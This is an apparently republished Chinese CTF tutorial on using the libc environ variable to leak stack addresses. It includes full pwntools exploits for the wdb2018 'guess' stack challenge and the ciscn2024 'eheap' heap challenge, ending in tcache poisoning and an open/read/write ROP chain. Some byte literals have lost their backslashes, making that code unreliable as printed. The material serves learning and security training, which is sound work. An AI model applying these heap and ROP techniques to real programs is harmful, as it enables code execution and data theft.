前言
在用户态的pwn题中，我们的最终目的都是劫持程序的执行流，可以说，一旦成功劫持程序执行流，就已经算pwn掉了这道题。
在栈题中，控制程序执行流是很简单的，只需要一个简单的溢出，因为栈本身就意味着程序的执行顺序，我们可以直接向里面写入数据，但是在堆题中，控制程序执行是一件相当麻烦的事情，以2.34为界，在2.34之前，往往是利用setcontext函数与hook函数（主要以free_hook为主），通过提前伪造，再将rsp迁移过去，控制程序执行流，这本身就是相当麻烦的事情。但是在2.35以后，hook函数的取消，意味着我们控制程序的能力进一步减弱，可以说最开始2.35就是pwn的寒冬，因此在2.35之后，pwn的利用手段都集中在io，各个师傅不断挖掘不同的io利用链，但是不管是哪一种，io本身就已经很底层，对于io的学习如果真正想学懂，而不是套板子，这是一件相当困难的事情。
所以我们想要返璞归真，这就要介绍一下今天要介绍的攻击方法
environ变量
这种方式并不稀奇，原理也简单，但是网上很少有完整介绍以及象征题解去利用的文章，所以这篇文章将会利用讲解两道例题，分别在栈堆，希望大家看完能够有所收获。
原理
首先先贴一张图
这张图算是environ变量就根本的来源了，但是其实对我们来说没有什么用，我们只需要知道，environ变量里面会存着栈地址，如果我们可以泄露栈地址，将大大有利于我们劫持程序执行流
再看看environ变量里面有什么
大概也就是这个样子，但是只说是很难听懂的，我们通过写题目去学习。
wdb2018 guess（栈）
题目分析
因为libc版本对题目来说不太重要，我这里就随便选了一个，这是保护情况
接下来我们接着看
虽然我们主要想讲environ变量，但是这个题目确实涉及到了一些别的问题，我在这里也会补充说明一下
首先是wait函数
wait系统调用将暂停父进程直到它的子进程结束为止，这个调用返回子进程的PID，它通常是已经结束运行的子进程的PID。状态信息允许父进程了解子进程的退出状态，即子进程的main函数返回的值或子进程中exit函数的退出码。如果stat_loc不是空指针，状态信息将被写入它所指向的位置。
状态信息如下：WIFEXITED(stat_val)
如果子进程正常结束，它就取一个非零值 WEXITSTATUS(stat_val)
如果WIFEXITED非零，它返回子进程的退出码 WIFSIGNALED(stat_val)
如果子进程因为一个未捕获的信号而终止，它就取一个非零值 WTERMSIG(stat_val)
如果WIFSIGNALED非零，它返回一个信号代码 WIFSTOPPED(stat_val)
如果子进程意外终止，它就取一个非零值 WSTOPIG(stat_val)
如果WIFSTOPPED非零，它返回一个信号代码
在此之外，我们先来看一下程序的过程
首先我们把flag文件打开，放在了栈上，然后有三次机会，因为fork函数会执行三次，也就是我们必须在三次机会里面，把flag泄露出来
fork函数
fork函数用于创建一个与当前进程映像一样的子进程，所创建的子进程将复制父进程的代码段、数据段、BSS段、堆、栈等所有用户空间信息，在内核中操作系统会重新为其申请一个子进程执行的位置。
其实到这里，就已经可以有基本思路了，我们只需要泄露出flag所处的栈地址，然后调用puts函数把它打印出来就行了，问题其实就在于，怎么去泄露，我们来看看怎么写。
我们先将断点下在gets函数中，然后就能明显看到flag的位置
输入的位置在flag位置之后，在正式写题之前，还需要一个前置知识，我们都知道canary保护，如果不满足就会报错退出，但是在报错退出的时候，会打印出一点东西，stack smashing报错，为了让大家看的更直观，我们不妨直接运行看看
可以看到，打印出了一点东西，这也就是我们需要利用的，因为我们没有别的方法去输入，就要用到canary报错输出，而如果是在根目录，其实你会看到程序名，
这里为了更方便大家理解，借用的别的师傅的截图
实际上这个文件名是由argv[0]指向的。只要通过栈溢出用自己构造的字符串地址覆盖掉argv[0]就能打印相应的字符串。这是前置知识，至于argv[0],不用过多了解，只需要知道这是一个参数即可。
为什么要知道这个呢，因为程序报错是必然的，我们没有任何办法泄露canary，如果不利用这一点，我们什么都做不了。
思路分析
我们有三次机会，首先先确定一点，第一就是我们需要泄露栈地址才可以泄露出flag，我们在我们只有输出的情况下，只能泄露environ变量里面的libc了，因为这里面的libc和别的地方的偏移是不会变的，所以第一步，先利用这个打印，泄露出libc，第二次再打印environ里面的栈地址，最后经过计算，我们把flag的地址放过去。
exp的编写
重点还是在于怎么去编写exp
看这个位置，这个位置就是我们的argv[0]，也就是只要我们可以覆盖这里，就可以利用报错去打印数据。简单计算一下，偏移为0x128
libc的泄露
这里其实没什么要求，我们只需要随便找一个函数，把got表填到argv[0]的位置就可以了，我这里用的是puts函数，因为puts在前面调用过了，所以这个时候的puts_got里面，存的就是puts的真实地址。
payload1=b'a'*0x128+p64(puts)
io.recv()
#gdb.attach(io,"b *0x400B23")
io.sendline(payload1)
puts_addr=u64(io.recvuntil('x7f')[-6:].ljust(8,'x00'))
print(hex(puts_addr))
libc_base=puts_addr-libc.sym['puts']
environ=libc_base+libc.sym['__environ']
能看到，打印出来了地址
栈地址的泄露
这里没有什么好说的，和第一步一样，把puts地址换成enviro地址即可
经过计算，这里距离flag的位置是0x168，所以直接写好了
payload2=b'a'*0x128+p64(environ)
io.sendline(payload2)
flag=u64(io.recvuntil(b'x7f')[-6:].ljust(8,b'x00'))-0x168
print(hex(flag))打印flag
和上面一样
payload3=b'a'*0x128+p64(flag)
io.recv()
io.sendline(payload3)
io.recv()完整exp
from pwn import *
from LibcSearcher import*
#io=process('./pwn')
io=remote('node5.buuoj.cn',25673)
elf=ELF('pwn')
puts=elf.got['puts']
payload1=b'a'*0x128+p64(puts)
io.recv()
#gdb.attach(io,"b *0x400B23")
io.sendline(payload1)
puts_addr=u64(io.recvuntil(b'x7f')[-6:].ljust(8,b'x00'))
print(hex(puts_addr))
libc = LibcSearcher("puts",puts_addr)
libc_base = puts_addr - libc.dump("puts")
environ = libc_base + libc.dump("environ")
payload2=b'a'*0x128+p64(environ)
io.sendline(payload2)
flag=u64(io.recvuntil(b'x7f')[-6:].ljust(8,b'x00'))-0x168
print(hex(flag))
payload3=b'a'*0x128+p64(flag)
io.recv()
io.sendline(payload3)
io.recv()
io.interactive()ciscn2024 eheap（堆）
这道题是2.35的堆题，开了sandbox，只能使用orw的形式，题目本身并不复杂，很适合高版本的堆利用入门，这篇文章将会以一个没有接触过高版本堆利用的新人视角，来从头开始，仔细了解这道题目
题目函数分析
主函数部分
作为一个接触高版本堆的pwn手，我觉得简单的逆向应该不会是难度，所以这里放的就是修改完函数名字的主函数部分，简单的逻辑应该是可以理解的
利用工具，看一下sandbox
可以看到，只给了orw和mprotect函数，所以这道题也很简单了，两个思路，一个是利用shellcode，另一个则是执行orw的rop链，但是不论是哪一种，都需要劫持程序的执行流，这些暂且不表，先把整个程序分析完。
add函数
函数也是经过改名之后的，首先是一个循环，遍历i从0到79，满足i小于等于79并且chunk_list中第i+1项不是0，就会接着加一，否则i就会停下来，看名字也知道，这个其实就是记录chunk的一个数组，存的是chunk的地址，那这个循环是干什么的呢
由于最开始chunk_list里面都是0，所以我们申请堆块的序号，都是从0开始的，也就是这个i，本质上就是idx，申请4个堆块，序号分别就是0,1,2,3。那我们释放先释放2号堆块，再释放0号堆块，在释放完成后，我们再申请堆块的时候，不管申请多大的堆块，这个时候，这个堆块的序号就是0，再申请就是2号，再申请就会是4号，也就是只要我们释放了堆块，那这个堆块的序号就会被拿出来，下次申请堆块的时候，把这个序号按照由小到大，给与我们新的堆块，这一点很重要，懂了这一点，我们才可以操作自己想操作的堆块
除此之外，add函数会申请一个不大于0x501的堆块，size由自己决定，然后将堆块置零，最后填入数据，没有别的漏洞了，我们把目光放到接下来的函数
delete函数
这里面有一个坑，如果你不注意的话，会以为没有uaf漏洞，但是实际情况是，这里有一个uaf，仔细观察，我们free的是void**类型的一个数据，而置零的呢，其实是我们的数组，这一点很重要。
edit函数
这个函数漏洞就大了，因为我们输入的长度由我们自己控制，所以即使堆块只有0x100，也可以写入0x500大小的数据，这一点可以说是最重要的了
show函数
看一下show函数，使用的是printf函数，这个函数遇到0会停止，换一种说法，只要不遇到0，就会一直打印下午，这个后面也是有用的
题目总结及思路分析
我们来总结一下，题目本身的漏洞点在uaf和数据溢出，除此之外没有什么好说的了
但是重点是这道题目的版本是2.35，可以说是最高的版本之一，我在这里不得不介绍一些glibc的保护，由于篇幅有限，我这里只举例和题目有关的保护，并且对其进行分析
将遇到的保护
tcachebin堆指针异或加密（glibc-2.32引入）
可以看到，这个保护是对于tcachebins的保护，tcachebins里面存放的是fd指针，但是在2.32之后，在我们的堆里面，堆的fd指针是经历了一次加密，把加密的数据放在了堆的fd，同时在放入tcachebins中的时候，会进行一次解密，解密的数据就是正常的fd指针，那这是怎么加密的呢
首先存放在堆里面的指针，会把当前堆块的地址先右移12位，也就是去掉后面三个字节，然后找到fd指向的堆块地址，注意，这里的地址的data段的地址，然后将这两个数据异或加密，加密后的数据当做fd，放在堆块中，也就是如果我们现在向修改fd的话，必须要修改成(heap_addr>>12)^(target_addr-0x10)
听起来很麻烦，但是实际情况是，我们更好泄露堆地址了
为什么这么说，这是因为，在tcachebins中，当前链表中只有一个堆块的时候，我们的fd虽然不存在，但是我们会默认为0，这个时候，堆块里面存放的其实就是当前堆块的地址，只不过去除了后面三位，这就有利于我们泄露当前堆块的地址
tcache 中取出 chunk 地址对齐检查（glibc-2.32引入）
这一个保护也是来自glibc-2.32，和上面的保护来自同一版本，可以说，这两个保护就是2.32主要更改的地方了。
这个保护是什么意思呢，在glibc2.27之后，为了程序执行的速度，加入了tcachebins，也正是因为速度，我们伪造tcachebins里面的指针，程序并不会像最初2.23的fastbin一样，进行size的确认，也就是理论上说，tcachebins申请到哪里都没关系，实际情况确实是这样，在2.32之前我们都可以随意申请，而在2.32之后，添加了一种保护，它要求你申请是size的最后一个字节一定要是00，不然就会报错退出
malloc(): unaligned tcache chunk detected这一点就会给我们造成麻烦，虽然遇到的很少，但是一旦发生了这种报错，也是要认识的
hook函数的消失
在2.34之后，堆上控制程序执行流的工具又少了，包括malloc_hook在内的几个hook函数都消失了，这就意味着我们没有办法再用他们去控制程序执行流。
思路分析
这道题的思路很多，但是归根结底是控制程序执行流，而在这之上，主要的手段集中在io和environ，严格来说，io才是主旋律，占了一大半的写法，但是在这里我不准备介绍io的写法，因为io所需要的前置知识太多了，并且在利用io之后，又会有好几种写法，过于复杂，这里我介绍另一种，也就是这篇文章的重点
environ变量
泄露libc
由于使用的是seccomp_rule_add函数，会有一大堆的初始堆块，有的选手会选择清理一下，但是我懒，而且我们可以申请大堆块，我们完全可以跳过这些
如果我们只申请大堆块的话，就会从top_chunk分割，这样就完全不用在乎上面哪些杂乱的堆块，所以我选择直接申请0x400大小的堆块，原因有两个
一是这个大小的堆块还在tcachebins里，方便我们的利用，另一点是完全不会受到上面那些堆块的影响，泄露libc的方法很多，我这里选择的是利用溢出，打一个off by one，如果这个方法不了解的话，建议先从前面学起
add(0x408,b'aaaa')#0
add(0x408,b'aaaa')#1
add(0x408,b'aaaa')#2
add(0x408,b'aaaa')#3
edit(0,0x500,b'a'*0x408+p64(0x821))
free(1)
add(0x408,b'a') #1
show(2)
dbg()
io.recvuntil(b'content:')
libc_base=u64(io.recv(6).ljust(8,b'x00'))-0x21ace0
print(hex(libc_base))算了还是说一下吧
申请四个堆块，0123,3号防止和top_chunk合并，随后通过溢出，把1号堆块的size改成一号和二号之和，释放一号堆块的同时，也会把2号堆块放进bins，这个时候申请回一号堆块，二号堆块就位于unsortedbins里，因为2号堆块没有经过我们的free，所以这个时候可以去show，这样就能泄露libc了
也就是这个样子，这个时候2号堆块的fd和bk都是main_arena+96,由于我远程本地环境一样的，所以我这里就直接去减偏移了。
看看程序执行完之后
这样就可以泄露出libc了
泄露堆地址
记得上面我们说的吗，只要链表里面只有一个堆块，就可以直接泄露当前堆的堆地址了
add(0x408,b'aaaaaaaa')#4
add(0x408,b'aaaaaaaa')#5
add(0x408,b'aaaaaaaa')#6
free(4)
show(2)
io.recvuntil(b'content:')
heap_base=u64(io.recv(5).ljust(8,b'x00'))<<12
print(hex(heap_base))先看看操作的脚本，然后我再来解释，因为这个时候二号堆块位于unsortedbins里面，只要我们再申请一个一样大小的堆块，就可以把2号申请回来了，也就是我们的4号，这个时候2号4号指向的都是一个堆块，我们如释放2号堆块，它就会被链入tcachebins里，因为tcachebins大小是到0x420，我们先来看看
这就是我们的2号堆块和其中的数据
可以看到，我们链入了0x410大小的链表中，这个时候，4号堆块依旧指向的是2号堆块，我们直接show4号堆块即可泄露heap
看看效果
虽然我们并没有能够泄露出完整的堆块地址，但是这样已经够用了，虽然堆块地址会变，但是最后几位是不变的
截止到现在，我们已经成功泄露出libc和堆地址了，接下来就是泄露stack地址
泄露栈地址
pop_rdi=libc_base+0x002a3e5
pop_rsi=libc_base+0x002be51
pop_rdx_rbx=libc_base+0x0904a9
pop_rax=libc_base+0x45eb0
syscall_ret=libc_base+0x0091316
environ = libc_base + libc.sym['environ']
heap=(heap_base+0x16e0)>>12
tar=environ-0x410
fd=heap^tar
free(6)
payload=b'a'*0x400+p64(0)+p64(0x411)+p64(fd)
edit(5,0x500,payload)
print(hex(tar))
add(0x400,b'aaaaaaaa')#4
add(0x400,b'aaaaaaaa')#6
edit(6,0x500,b'a'*0x40f)
show(6)
stack_addr=u64(io.recvuntil(b'x7f')[-6:].ljust(8,b'x00'))-0x168
print(hex(stack_addr))前期的准备工作做完，就可以利用修改fd，达到任意地址写的效果了，我们还是先来简单回顾一下指针异或加密方式吧
这个时候，下面的堆块它的fd其实指向的就是上面的堆块，但是我们能看到的fd值经过了加密，这个数据其实就是（0x55555555c6e0>>12）(也就是自己堆块的地址右移12)^（0x55555555bab0-0x10）也就是应该指向的堆块的data段，我们修改fd，也要经过这样的加密，这样才能起到真正修改fd的目的
再来看看environ里面是什么
这里就是栈地址，存的是栈上面的一个变量地址，而这个地址和我们的返回地址的偏移是不变的，接着来看
我们上面的脚本中，泄露出了environ的地址，然后我们将tcachebins里面0x410大小的堆块的fd指针改到environ上面，但是注意，我们不能把environ也存到堆块里面，因为如果放进去，environ会被清零
看一下edit之后是什么样子
我们在这里可以清楚看到，已经成功修改掉fd，接下来只要连续申请两次0x410大小的堆块就可以申请到我们想申请的位置，来看看我们修改到哪了
这一段就是申请的堆块，而就在堆块后面，就是我们的environ变量
还记得show函数里面用的是什么吗，printf是不是不遇到0就不会停，我们只需要将上面这个堆块填满就能接着打印出environ里面的内容了
看看执行完是什么样子
这里就是栈地址，如果你能注意到的话，这个数据是减去了0x168的大小，那为什么呢
计算栈地址
目光回到ida里面，我们最终的目的是修改返回地址，那么修改谁的呢
我们的选择有两个，一个是add，一个是edit，这两个函数都可以达到先输入的效果，在这里我们选择修改add函数，原因在这里
我们可以在add函数里面函数结束的时候看到这个，这就意味着在这里会有一次返回，那我们就选在这里，在这里下个断点看看
我们先不减去0x168，直接接收，并且下断点看看
这个位置是刚刚泄露出environ里面存放的栈地址，我们接着往下走
看右边的，这个时候就是申请好了堆块，我们接着往下走，重点放在到leave ret的位置
先看右边，在没有减之前，我们泄露出来的地址减去0x168，就是rsp加8的位置，我们这个时候程序是即将leave ret，也就是我们把堆块申请到了这个位置，这时候canary当做我们的pre_size，而rbp则当做我们的size，后面的返回地址则就是我们的data，如果我们把data段填满我们的orw链，就可以在add完之后，执行orw，所以上面的泄露出来的地址减去了0x168，当然在没有canary的情况下，即使申请到前面也是可以的，选择这里也是因为，这边的检查可以过。
orw
接着看orw
orw = b'./flagx00x00'
orw += p64(pop_rdi) + p64(stack_addr - 0x10)
orw += p64(pop_rsi) + p64(0)
orw += p64(pop_rax) + p64(2)
orw += p64(syscall_ret) #open(./flag,0)
orw += p64(pop_rax) + p64(0)
orw += p64(pop_rdi) + p64(3)
orw += p64(pop_rsi) + p64(stack_addr - 0x300)
orw += p64(pop_rdx_rbx) + p64(0x30) * 2
orw += p64(syscall_ret) #read(3,stack_addr-0x300,0x30)
orw += p64(pop_rax) + p64(1)
orw += p64(pop_rdi) + p64(1)
orw += p64(pop_rsi) + p64(stack_addr - 0x300)
orw += p64(pop_rdx_rbx) + p64(0x30) * 2
orw += p64(syscall_ret) #write(1,stack-0x300,0x30)这一段orw并不稀奇，唯一要注意的便是我们要使用syscall，而不是直接调用，这是因为直接调用会破坏栈结构，我就不多说了
修改栈，执行orw
add(0x408,b'aaaaaaaa')#7
add(0x408,b'aaaaaaaa')#8
add(0x408,b'aaaaaaaa')#9
add(0x408,b'aaaaaaaa')#10
free(9)
free(8)
heap=(heap_base+0x1f00)>>12
tar=stack_addr-0x10
fd=heap^tar
payload=b'a'*0x400+p64(0)+p64(0x411)+p64(fd)
edit(7,0x500,payload)
add(0x408,b'aaaaaaaa')#8
add(0x408,orw)#9
io.interactive()最后一段和上面申请到environ是一样的，重复了一下而已，把堆先申请到栈上，再在add的时候把我们的orw链写进栈上，让我们看看写入之后吧
可以看到，我们成功把orw写进了栈，并且成功修改返回地址
看看最后执行完是什么样
可以看到，我们成功把flag打印出来了
exp
from pwn import *
context(log_level = 'debug', arch = 'amd64', os = 'linux')
io=process('./pwn')
#io=remote("pwn.challenge.ctf.show",28193)
elf=ELF('./pwn')
libc=ELF('libc.so.6')
def dbg():
gdb.attach(io)
pause()
def bug():
gdb.attach(io,"b *$rebase(0x16cc)")
def add(size,content):
io.recvuntil(b'choice >>')
io.sendline(str(1))
io.recv()
io.sendline(str(size))
io.recv()
io.sendline(content)
def free(idx):
io.recvuntil(b'choice >>')
io.sendline(str(2))
io.recv()
io.sendline(str(idx))
def show(idx):
io.recvuntil(b'choice >>')
io.sendline(str(4))
io.recv()
io.sendline(str(idx))
def edit(idx,size,content):
io.recvuntil(b'choice >>')
io.sendline(str(3))
io.recv()
io.sendline(str(idx))
io.recv()
io.sendline(str(size))
io.recv()
io.sendline(content)
add(0x408,b'aaaa')#0
add(0x408,b'aaaa')#1
add(0x408,b'aaaa')#2
add(0x408,b'aaaa')#3
edit(0,0x500,b'a'*0x408+p64(0x821))
free(1)
add(0x408,b'a') #1
show(2)
io.recvuntil(b'content:')
libc_base=u64(io.recv(6).ljust(8,b'x00'))-0x21ace0
print(hex(libc_base))
add(0x408,b'aaaaaaaa')#4
add(0x408,b'aaaaaaaa')#5
add(0x408,b'aaaaaaaa')#6
free(4)
show(2)
io.recvuntil(b'content:')
heap_base=u64(io.recv(5).ljust(8,b'x00'))<<12
print(hex(heap_base))
pop_rdi=libc_base+0x002a3e5
pop_rsi=libc_base+0x002be51
pop_rdx_rbx=libc_base+0x0904a9
pop_rax=libc_base+0x45eb0
syscall_ret=libc_base+0x0091316
environ = libc_base + libc.sym['environ']
heap=(heap_base+0x16e0)>>12
tar=environ-0x410
fd=heap^tar
free(6)
payload=b'a'*0x400+p64(0)+p64(0x411)+p64(fd)
edit(5,0x500,payload)
print(hex(tar))
add(0x400,b'aaaaaaaa')#4
add(0x400,b'aaaaaaaa')#6
edit(6,0x500,b'a'*0x40f)
show(6)
stack_addr=u64(io.recvuntil(b'x7f')[-6:].ljust(8,b'x00'))-0x168
print(hex(stack_addr))
orw = b'./flagx00x00'
orw += p64(pop_rdi) + p64(stack_addr - 0x10)
orw += p64(pop_rsi) + p64(0)
orw += p64(pop_rax) + p64(2)
orw += p64(syscall_ret) #open(./flag,0)
orw += p64(pop_rax) + p64(0)
orw += p64(pop_rdi) + p64(3)
orw += p64(pop_rsi) + p64(stack_addr - 0x300)
orw += p64(pop_rdx_rbx) + p64(0x30) * 2
orw += p64(syscall_ret) #read(3,stack_addr-0x300,0x30)
orw += p64(pop_rax) + p64(1)
orw += p64(pop_rdi) + p64(1)
orw += p64(pop_rsi) + p64(stack_addr - 0x300)
orw += p64(pop_rdx_rbx) + p64(0x30) * 2
orw += p64(syscall_ret) #write(1,stack-0x300,0x30)
add(0x408,b'aaaaaaaa')#7
add(0x408,b'aaaaaaaa')#8
add(0x408,b'aaaaaaaa')#9
add(0x408,b'aaaaaaaa')#10
free(9)
free(8)
heap=(heap_base+0x1f00)>>12
tar=stack_addr-0x10
fd=heap^tar
payload=b'a'*0x400+p64(0)+p64(0x411)+p64(fd)
edit(7,0x500,payload)
add(0x408,b'aaaaaaaa')#8
add(0x408,orw)#9
io.interactive()总结
其实environ本身并没有什么独特的地方，也不是什么很新的利用方式，在栈上用到的地方很少，因为栈本身就在程序执行流里面，也有很多别的方法泄露，但是在堆里就完全不同，这是一种更易于理解的方式，尤其在hook函数消失之后，这是一种对新手及其友好的攻击方式，它并不需要像io一样，有很多的前置知识，也不需要了解一大串的连续调用链，相较于利用hook函数，这种方法更好理解，因为它是对栈本身进行读写，而不需要我们迁移rsp，伪造栈。所以如果你是新手，environ变量是在堆里面很好用的方法之一，希望大家看完这篇文章之后，可以有所收获。
往期精选
原文始发于微信公众号（恒星EDU）：environ变量在用户态pwn的利用方式浅析
